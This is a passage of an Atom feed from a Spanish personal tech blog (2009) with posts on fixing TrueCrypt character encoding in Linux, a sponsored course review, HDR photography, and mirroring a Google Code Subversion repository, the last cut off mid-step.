/><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/StJRVlMLYbI/AAAAAAAAA_I/ObNHG3DBglg/s72-c/GoogleWave.png" height="72" width="72" /><thr:total>6</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/10/tengo-cuenta-en-google-wave.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04HSXg8fip7ImA9WxNXGEk.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-7046953292089107363</id><published>2009-10-06T17:10:00.000+02:00</published><updated>2009-10-06T17:12:18.676+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-06T17:12:18.676+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Truecrypt" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><title>Resolviendo los problemas con los juegos de caracteres y Truecrypt en linux</title><content type="html">Ya &lt;a href="http://lopezivan.blogspot.com/2008/01/truecrypt-en-linux-con-kernel-2623.html"&gt;hablé hace mucho de truecrypt&lt;/a&gt; y de lo útil que resulta para llevar información sensible en un pendrive sin miedo a que se pueda perder. El otro día estaba consultando desde linux algunos archivos del volumen cifrado que llevo en mi pendrive y me di cuenta que  los caracteres especiales no se veían correctamente:&lt;br /&gt;&lt;pre&gt;ivan@doraemon:/media/truecrypt3/B&amp;S$ ls -l&lt;br /&gt;total 20&lt;br /&gt;-rwx------ 1 ivan ivan  4351 2009-07-03 09:11 Ana.png&lt;br /&gt;-rwx------ 1 ivan ivan 11567 2009-07-03 09:10 Iv?n.png&lt;br /&gt;-rwx------ 1 ivan ivan     0 2009-08-23 20:42 ??????.txt&lt;br /&gt;&lt;br /&gt;ivan@doraemon:~$ mount | grep /media/truecrypt&lt;br /&gt;/dev/mapper/truecrypt3 on /media/truecrypt3 type vfat (rw,uid=1000,gid=1000,umask=077)&lt;/pre&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_7NG4zI/AAAAAAAAA2M/FCNSCmfQsNQ/s1600-h/WrongChars.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 281px; height: 103px;" src="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_7NG4zI/AAAAAAAAA2M/FCNSCmfQsNQ/s400/WrongChars.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5377196798723416882" /&gt;&lt;/a&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;La solución es tan sencilla como indicar en las opciones de montaje en truecrypt, en el menú &lt;i&gt;Settings -&gt; Preferences; Tab "Mount Options"&lt;/i&gt;, que lo monte como &lt;i&gt;utf8&lt;/i&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_TkDmNI/AAAAAAAAA2E/FyZ-FTZaS_Y/s1600-h/TruecryptOptions.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 336px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_TkDmNI/AAAAAAAAA2E/FyZ-FTZaS_Y/s400/TruecryptOptions.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5377196788082251986" /&gt;&lt;/a&gt;&lt;br /&gt;Ahora montamos de nuevo el volumen y comprobamos que está como utf8:&lt;br /&gt;&lt;pre&gt;ivan@doraemon:~$ mount | grep /media/truecrypt&lt;br /&gt;/dev/mapper/truecrypt3 on /media/truecrypt3 type vfat (rw,uid=1000,gid=1000,umask=077,&lt;span style="color: rgb(255, 0, 0);"&gt;utf8&lt;/span&gt;)&lt;/pre&gt;&lt;br /&gt;Y que podemos ver sin problemas los nombres de los archivos:&lt;br /&gt;&lt;pre&gt;ivan@doraemon:/media/truecrypt3/B&amp;S$ ls -l&lt;br /&gt;total 20&lt;br /&gt;-rwx------ 1 ivan ivan     0 2009-08-23 20:42 áéíóúñ.txt&lt;br /&gt;-rwx------ 1 ivan ivan  4351 2009-07-03 09:11 Ana.png&lt;br /&gt;-rwx------ 1 ivan ivan 11567 2009-07-03 09:10 Iván.png&lt;/pre&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_A1YYyI/AAAAAAAAA18/ZHMEDFo3hFA/s1600-h/RightChars.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 306px; height: 106px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_A1YYyI/AAAAAAAAA18/ZHMEDFo3hFA/s400/RightChars.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5377196783054644002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ahora ya nada nos impide utilizar nuestro volumen cifrado independientemente del sistema operativo con el que trabajemos y sin los problemas de los juegos de caracteres.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=KZUgbuZgo04:00mNsweKvJE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=KZUgbuZgo04:00mNsweKvJE:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=KZUgbuZgo04:00mNsweKvJE:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=KZUgbuZgo04:00mNsweKvJE:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/KZUgbuZgo04" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/7046953292089107363/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/10/resolviendo-los-problemas-con-los.html#comment-form" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/7046953292089107363?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/7046953292089107363?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/KZUgbuZgo04/resolviendo-los-problemas-con-los.html" title="Resolviendo los problemas con los juegos de caracteres y Truecrypt en linux" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/Sp-j_7NG4zI/AAAAAAAAA2M/FCNSCmfQsNQ/s72-c/WrongChars.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/10/resolviendo-los-problemas-con-los.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0ANQXg8fCp7ImA9WxNXGEk.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-5012976276536553430</id><published>2009-10-06T17:07:00.000+02:00</published><updated>2009-10-06T17:09:50.674+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-06T17:09:50.674+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Analisis Patrocinados" /><title>Cursos online de Formación Center</title><content type="html">&lt;img src="http://zync.es/cache/ads/img_xmYj5We6l2YvJHdhBnNyczNvZw==.gif" &gt;&lt;br /&gt;&lt;br /&gt;La empresa Formacion Center &lt;a rel="nofollow" href="http://formacioncenter.com/"&gt;http://formacioncenter.com/&lt;/a&gt; presenta sus nuevos cursos online sobre la &lt;i&gt;Creación de una Tienda Virtual&lt;/i&gt; y &lt;i&gt;La ofimática y la productividad con Google Docs&lt;/i&gt;. Empecemos con el primero:&lt;br /&gt;&lt;br&gt;Gestión de tienda virtual y cómo conseguir más clientes: Durante el curso se enseñará a crear y gestionar una tienda virtual y un blog corporativo desde cero y a atraer clientes a esa nueva tienda. Se explican conceptos básicos y avanzados para posicionar la tienda en google, utilizar adwords, integrar todo con analytics. Además proporcionan un hosting con WordPress instalado y configurado en español para el blog corporativo. Todo ello está explicado con videotutoriales para que sea más fácil e intuitivo el aprendizaje y se complementa con manuales en pdf.&lt;br /&gt;&lt;br&gt;El segundo curso aunque tiene como parte de su nombre Google Docs, en realidad es más amplio. Se analizan y se enseñan las principales herramientas online que proporciona Google para hacernos la vida más fácil y aumentar nuestra productividad:&lt;br /&gt;&lt;li&gt;Uso de Google Docs para crear documentos, hojas de cálculo y presentaciones. Además se verá cómo compartirlas, otorgar distintos permisos y gestionar todos los archivos.&lt;/li&gt;&lt;li&gt;Google Calendar para llevar nuestra agenda, planificar el trabajo, además de la configuración de las alertas por email y sms, compartir los eventos e invitar a otras personas.&lt;/li&gt;&lt;li&gt;Picasa Web. Se crearán galerías de fotos, que adicionalmente se podran comentar y geolocalizar.&lt;/li&gt;&lt;li&gt;Gmail: Gestión de contactos, emails, configuración del acceso, archivos adjuntos...&lt;/li&gt;&lt;li&gt;Youtube: Creación de videos y subida y gestión de los mismos a youtube.&lt;/li&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Personalmente pienso que los cursos están bien y el temario es adecuado, aunque no hay que olvidar que están orientados a personas sin muchos  conocimientos. En especial el segundo, puesto que las aplicaciones que se explican son muy intuitivas y fáciles de aprender, aunque es cierto que para personas menos técnicas pueden presentar trabas.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para finalizar, indicar que ambos cursos son gratuitos puesto que se pueden pagar de los fondos de formación asignados a cada empresa.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=1Max1Hliw-E:6SBpEiwF15c:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=1Max1Hliw-E:6SBpEiwF15c:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=1Max1Hliw-E:6SBpEiwF15c:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=1Max1Hliw-E:6SBpEiwF15c:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/1Max1Hliw-E" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/5012976276536553430/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/10/cursos-online-de-formacion-center.html#comment-form" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/5012976276536553430?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/5012976276536553430?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/1Max1Hliw-E/cursos-online-de-formacion-center.html" title="Cursos online de Formación Center" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>0</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/10/cursos-online-de-formacion-center.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4HRH8yfSp7ImA9WxNRF0Q.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-2577826183984045338</id><published>2009-09-13T00:34:00.000+02:00</published><updated>2009-09-13T00:35:35.195+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-13T00:35:35.195+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Fotografía" /><title>Fotografía HDR</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace unos meses descubrí la fotografía &lt;a href="http://es.wikipedia.org/wiki/High_dynamic_range"&gt;HDR&lt;/a&gt;. Es una técnica que permite obtener fotografías completa y correctamente expuestas en su totalidad sin importar la diferencia entre luces y sombras. Es lo más parecido a captar una imagen tal y como lo hace nuestro ojo. Hay que destacar que es una técnica que tiene muchos detractores puesto que hay quien dice que desvirtua el verdadero arte de la fotografía ya que se basa en el post-procesado de las fotografías. En mi caso, estoy aprendiendo y probando, por lo que tampoco es que me decante hacia un lado u otro, simplemente exploro posibilidades.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Para poder conseguir una fotografía HDR lo que vamos a hacer es realizar varias fotografías con distintas exposiciones para posteriormente fusionarlas en una. La forma más sencilla de realizar el proceso es con una cámara digital que tenga la opción de &lt;a href="http://en.wikipedia.org/wiki/Bracketing#Exposure_bracketing"&gt;Auto Exposure Bracketing&lt;/a&gt;. En este caso, la cámara se encarga de hacer varias fotografías con distintos niveles de exposición. Lo más común es -2EV, 0EV y +2EV. Si nuestra cámara no posee esa opción (como es mi caso), todavía podemos hacer fotos HDR siempre que posea ajustes manuales. Otro elemento imprescindible es el uso del trípode para que todas las fotos sean exactamente iguales y el proceso de fusión se pueda realizar de la mejor manera posible.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Después de la teoría pasemos a la práctica. En mi caso, hice 3 fotografías con los niveles de exposición antes comentados. Como se puede ver en las fotos, una de ellas está sobreexpuesta, la otra tiene unos niveles normales y la otra está subexpuesta&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVxjAVIAI/AAAAAAAAA28/7m4RQqh5-kA/s1600-h/PreHDR3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVxjAVIAI/AAAAAAAAA28/7m4RQqh5-kA/s400/PreHDR3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5380699595755298818" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVfL4kasI/AAAAAAAAA20/XSGjNU1VZPU/s1600-h/PreHDR2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVfL4kasI/AAAAAAAAA20/XSGjNU1VZPU/s400/PreHDR2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5380699280311085762" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVeoOX7iI/AAAAAAAAA2s/hpLeCLXHQYo/s1600-h/PreHDR1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVeoOX7iI/AAAAAAAAA2s/hpLeCLXHQYo/s400/PreHDR1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5380699270738865698" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;El primer paso es fusionar esas tres imágenes. Existen varios programas para realizar el proceso y yo utilizo Photoshop CS3. En el menú &lt;i&gt;File -&gt; Automate&lt;/i&gt; se encuentra la opción &lt;i&gt;Merge to HDR&lt;/i&gt;. Elegimos las fotos y después de unos segundos nos generará una imagen resultante de la fusión de las anteriores.&lt;br /&gt;&lt;center&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVef9J82I/AAAAAAAAA2k/k7-s9iVXA_8/s1600-h/PostHDR.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 225px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVef9J82I/AAAAAAAAA2k/k7-s9iVXA_8/s400/PostHDR.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5380699268519162722" /&gt;&lt;/a&gt;&lt;/center&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como se puede ver, el resultado es un tanto pobre en cuanto a los colores obtenidos. El siguiente paso es realizar un mapeo de tonos para obtener el resultado deseado. Para ello, utilizo un plugin para Photoshop (también existe como aplicación independiente) llamado Photomatix Tone Mapping. Este último paso va en función de los gustos de cada uno y de lo que deseemos obtener. Con esta técnica se pueden conseguir fotografías que parezcan muy reales y también otras totalmente irreales, casi como un "comic". Aquí dejo la imagen anterior después de aplicarle el filtro con valores distintos.&lt;br /&gt;&lt;center&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVd1XnmoI/AAAAAAAAA2U/ieYdXXS9Kcw/s1600-h/HDR_Final1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 350px; height: 262px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVd1XnmoI/AAAAAAAAA2U/ieYdXXS9Kcw/s400/HDR_Final1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5380699257087433346" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVeEAGjCI/AAAAAAAAA2c/1InGLH6hQ8A/s1600-h/HDR_Final2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 350px; height: 262px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVeEAGjCI/AAAAAAAAA2c/1InGLH6hQ8A/s400/HDR_Final2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5380699261015329826" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;En mi caso, soy más partidario de las imagenes reales y me quedo sin duda con la foto de la izquierda, pero hay gran cantidad de fotos muy similares a la otra e incluso más "forzadas".&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Como consejos finales recordaré el uso del trípode, fijar un iso bajo si nuestra cámara lo permite y utilizar el disparo retardado para no tocar la cámara cuando dispara y evitar que se mueva.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Si queréis investigar más, en google hay infinidad de documentación, tutoriales, ejemplos,... Además, si queréis ver más fotos, con una sencilla &lt;a href="http://www.flickr.com/search/?q=hdr"&gt;búsqueda en flickr&lt;/a&gt; encontraréis cientos de miles.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=bRDix1p_KgI:k42IbkIf6cg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=bRDix1p_KgI:k42IbkIf6cg:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=bRDix1p_KgI:k42IbkIf6cg:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=bRDix1p_KgI:k42IbkIf6cg:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/bRDix1p_KgI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/2577826183984045338/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2009/09/fotografia-hdr.html#comment-form" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/2577826183984045338?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/2577826183984045338?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/bRDix1p_KgI/fotografia-hdr.html" title="Fotografía HDR" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_z1x0O4Pd0Sk/SqwVxjAVIAI/AAAAAAAAA28/7m4RQqh5-kA/s72-c/PreHDR3.jpg" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2009/09/fotografia-hdr.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A04CQHs8fip7ImA9WxNTEUo.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-3693897040991442479</id><published>2009-08-13T18:11:00.000+02:00</published><updated>2009-08-13T18:12:41.576+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-08-13T18:12:41.576+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Subversion" /><category scheme="http://www.blogger.com/atom/ns#" term="Google Code" /><title>Sincronizar el repositorio subversion de Google Code con uno local</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Cuando das de alta un proyecto en &lt;a href="http://code.google.com/"&gt;Google Code&lt;/a&gt; tienes acceso a un repositorio propio de subversion con 1GB de espacio para subir tu código. Según pasa el tiempo y empiezas a subir código, te das cuenta que te gustaría tener una copia de tu repositorio por si pasa algo. Además, también es muy útil cuando quieres navegar por él, consultar las revisiones de los archivos,... puesto que una copia local funciona infinitamente más rápido que el servidor remoto.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así, estuve investigando cómo sincronizar mi repositorio de &lt;a href="http://lopezivan.blogspot.com/2009/05/mufly-contabilidad-domestica-programada.html"&gt;Mufly&lt;/a&gt; con uno local. La respuesta la encontré en el wiki de &lt;a href="http://code.google.com/p/support/wiki/FAQ#Subversion"&gt;Google Code&lt;/a&gt;, concretamente en &lt;i&gt;How do I download my Subversion history?&lt;/i&gt;. Viene muy bien explicado pero hay un pequeño detalle que no cuentan y hasta que me di cuenta de él perdí bastante tiempo haciendo pruebas. Los pasos a seguir son:&lt;br /&gt;&lt;li&gt;Crear el repositorio:&lt;br /&gt;&lt;pre&gt;ivan@doraemon:~$ svnadmin create svn_mufly_mirror&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Crear el archivo &lt;i&gt;hooks/pre-revprop-change&lt;/i&gt; con el siguiente contenido&lt;br /&gt;&lt;pre&gt;ivan@doraemon:~$ vi svn_mufly_mirror/hooks/pre-revprop-change&lt;br /&gt;#!/bin/bash&lt;br /&gt;exit 0&lt;/pre&gt;Y ahí es donde estaba el problema. En el wiki sólo cuentan que devuelva 0, pero falta el detalle de que es un script y como tal hay que indicar en la primera línea el shell que lo ejecutará.&lt;/li&gt;&lt;li&gt;Dar permisos de ejecución:&lt;br /&gt;&lt;pre&gt;ivan@doraemon:~$ chmod +x svn_mufly_mirror/hooks/pre-revprop-change&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Sincronizar: La primera vez nos pedirá el password y a partir de ahí ya no será necesario. Esta primera vez descargará todo el repositorio, por lo que puede tardar un poco.&lt;br 